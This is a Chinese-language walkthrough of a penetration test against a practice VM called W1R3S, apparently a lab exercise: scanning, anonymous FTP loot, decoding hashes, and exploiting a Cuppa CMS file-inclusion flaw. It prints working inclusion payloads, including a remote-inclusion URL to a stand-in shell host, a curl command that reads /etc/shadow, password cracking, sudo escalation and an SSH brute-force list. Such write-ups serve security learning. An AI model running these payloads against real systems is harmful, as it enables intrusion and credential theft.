1. 主机发现 (文章内容限用于学习和研究目的)
先看一下自己的 kali 的 ip
命令 ip a

2. 目标信息收集
nmap -sn 192.168.231.0/24
扫描 C 段存活主机: nmap -sn 192.168.231.0/24 , 确定 W13RS 的靶机 IP 为 192.168.231.139

3. nmap 扫描
nmap -sT --min-rate 10000 -p- 192.168.231.139
TCP 扫描 (得出当前开放 21,22,80,3306 四个端口)

4. 探测版本
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.231.139
21 端口是 FTP 的 vsftpd 驻留程序 1,存在 Anonymous 权限访问
22 端口是 OpenSSH 的 7.2p2 版本 Ubuntu Linux 操作系统
80 端口是 Apache 的 httpd 驻留程序,版本是 2.4.18
3306 端口是 MySQL

5. UDP 扫描 (结果都是 open|filtered 状态,没什么发现。)
nmap -sU --top-ports 20 192.168.231.139

6. 默认脚本扫描
nmap --script=vuln -p21,22,80,3306 192.168.231.139
使用 nmap 自带的 web 漏扫脚本进行扫描

未找到 XSS、CSRF 可以利用的点。但是找到了一个 /wordpress/wp-login.php 。
探测出当前 Apache 可能存在 CVE-2007-6750(Apache HTTP Server 1.x 和 2.x 允许远程攻击者通过部分 HTTP 请求造成拒绝服务 (守护进程中断)) 攻击
7. 编排攻击方向
根据以上内容收集的信息,初步选定操作顺序如下:
排查下:ftp 21、mysql 3306 这里的 ftp 有没有可能存在信息泄露,mysql 有没弱密码
接着重点查看:web 80、ssh 22 这里的 80 端口是必须看的,很多攻击点就是 Web,ssh 一般没有价值,放到最后
8. FTP 渗透
在 nmap 扫描阶段就提示了 FTP 有 anonymous 登录,登录进去看看
(使用匿名用户 anonymous 登录目标主机的 FTP 服务器, 匿名用户的密码默认为空)

这里提示 Using binary mode to transfer files. 用二进制模式传输文件,在这里通过 binary 来切换到二进制模式

查看文件 ls,在 content 文件夹内找到了三个文件,都把它们下载下来

先执行一个 prompt 把交互模式给关掉 (这样下载文件就不会每次都找我确定了)。接着使用 mget 命令下载多个文件


docs 文件夹里面也有一个文件,使用 get 下载下来

new-employees 文件夹里面的同理。接着使用 quit 退出 ftp,然后 cat 查看文件内容

从 ftp 服务器下载的文件有: 01.txt、02.txt、03.txt、employee-names.txt、worktodo.txt


通过 hash-identifier 工具和人工猜测:
(MD5)01ec2d8fc11c493b25029fb1f47f39ce
(Base64)SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
md5 john 看看:

时间太慢了,借助互联网的力量看看,Hashes Decrypt hash 返回结果为:
This is not a password, 意思是"这不是一个密码", 属于无效信息

验证一下看看是否正确:

接着看看这个 base64 的字符串:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
(base64 的特征:base64 除了数字和大小写字母,剩下的特殊符号只有 3 个)
base64的辨别方法:
1) 看特殊字符,或者说是正则规则匹配 (+ / = 0-9 a-z A-Z)
2)= 只在文末出现,最多 2 个,原因是补足
3) 一些特殊情况,稍微复杂一点。主要是针对短字符串,首先 base64 的字符串一定能被 4 整数。 比如 root 可以被 4 整除,但它其实并不是 base64 编码,因为解码之后的 ascii 码不在 32-126 之间,会有乱码。所以这里的主要判断方法还是解码看有没有乱码。 这里还有一个特例,就是长度为 1 的非 base64 的字符串解码是空。
说明结束,开始处理 base64 的字符串

接着看看泄露出来的用户表:员工名单

在看看这个上下翻转、前后倒序的字符串,kali 中有个 rev 命令可以解决前后倒序的反转,但是上下的没办法解决,借助互联网的工具吧,使用 Google 搜索相关工具

找到了一个工具,解决了这个问题原文如下:
ı don't thınk thıs ıs the way to root!
we have a ןot of work to do『 stop pןayıng around˙˙˙˙
大概意思就是说别瞎玩了,我们还有很多事要做
FTP 就到此为止了
3306 mysql 渗透
尝试连接 3306,因为是 Ubuntu,猜测用户名是 root,会有空密码的情况吗?

这里的提示信息是本机无法连接到 MySQL server也没有什么信息,3306 暂时放弃了。
Web 渗透
首页是 Apache2 的默认界面

进入/wordpress/wp-login.php 发现了要账号登陆


网页源代码也没什么发现,试试目录爆破吧
gobuster dir -u http://192.168.231.139 --wordlist=/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

根据以上内容,目前暴露出来的有 wordpress,还有个 CMS:
# wordpress
http:// 192.168.231.139/wordpress/
# cms
http://192.168.231.139/administrator/
administrator很明显这是一套 CMS 的安装界面引导,尝试一下这里有没有突破口


这里暴露了这是一个 Cuppa CMS 默认账号密码都是:admin,随便填写一些信息看看可否下一步

在用户创建时失败了,搜索一下 Cuppa CMS 有什么暴露出来的漏洞可以利用的

搜索结果出来了一个,File Inclusion 文件包含,查看一下具体位置信息


从文件中可以找到:
源代码位置在:Download cuppa_cms.zip (Cuppa CMS)
出现文件包含的位置在 /alerts/alertConfigField.php 的第二十二行:
<?php include($_REQUEST["urlConfig"]); ?>
EXPLOIT 利用方法:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
通过拼接 URL 找到了,尝试一下:
http://192.168.231.139/administrator/alerts/alertConfigField.php

拼接一下参数试试:
http://192.168.231.139/administrator/alerts/alertConfigField.php
?urlConfig=../../../../../../../../../etc/passwd
?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
结果和上面一样,但是没有回显
奇怪,按道理来说被修复了的话是不会出现这个窗口的,可是没有修复的情况下又没有回显,代码审计看看吧
# 下载 cuppa_cms.zip 源码包
wget http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
使用 vim 检查 alerts/alertConfigField.php 文件

<div class="alert_config_field" id="alert">
<div class="alert_config_top">
<strong><?php echo $language->fields_configuration ?></strong>: <?php echo @$cuppa->POST("field"); ?>
<div class="btnClose_alert" id="btnClose_alert" onclick="CloseDefaultAlert()"></div>
</div>
<div id="content_alert_config" class="content_alert_config">
<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>
</div>
</div>
仔细看,这里的 urlConfig 变成通过 POST 的方式进行参数传递,且参数未校正,从而触发了这个文件包含漏洞
使用 POST 的方式发个请求试试,在这里我使用 curl 的 --data-urlencode 参数来处理 POST 请求:


这里的回显已 : 符号做为分隔符第二个参数都是 x 表明密码是以哈希的方式保存在 shadow 里面的,再次构造一次 POST:
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.231.139/administrator/alerts/alertConfigField.php


然后将这些哈希拿下来进行破解:

john 已经破解出来了两个账号,root 破解时间太长了,试试直接登录 w1r3s 这个账号试试看
隐秘登录失败,正常登录有回显


看看当前账号的权限。

注意看这个账号 groups 组里面有 27(sudo) 的权限,接着看看这个账号有什么权限。

(ALL : ALL) ALL 这里也就是这个账号有全部权限,那就相当于是 root 了,简单提权一下,随后获取 root 根目录下的 flag.txt 文件


SSH 暴力破解
构造用户字典这里的用户字典需要结合 FTP 泄露信息来构造:
echo '''w1r3s
admin
root
naomi
hector
''' > user.list


密码破解成功
总结与思考
在本次渗透过程中,通过使用多种工具和技术,不仅了解了如何有效地渗透目标系统,还得以从另一个角度反思网络安全的本质及如何防范安全事故。这些思考不仅有助于加深对渗透过程的理解,也为未来的安全测试和防御措施提供了宝贵的经验。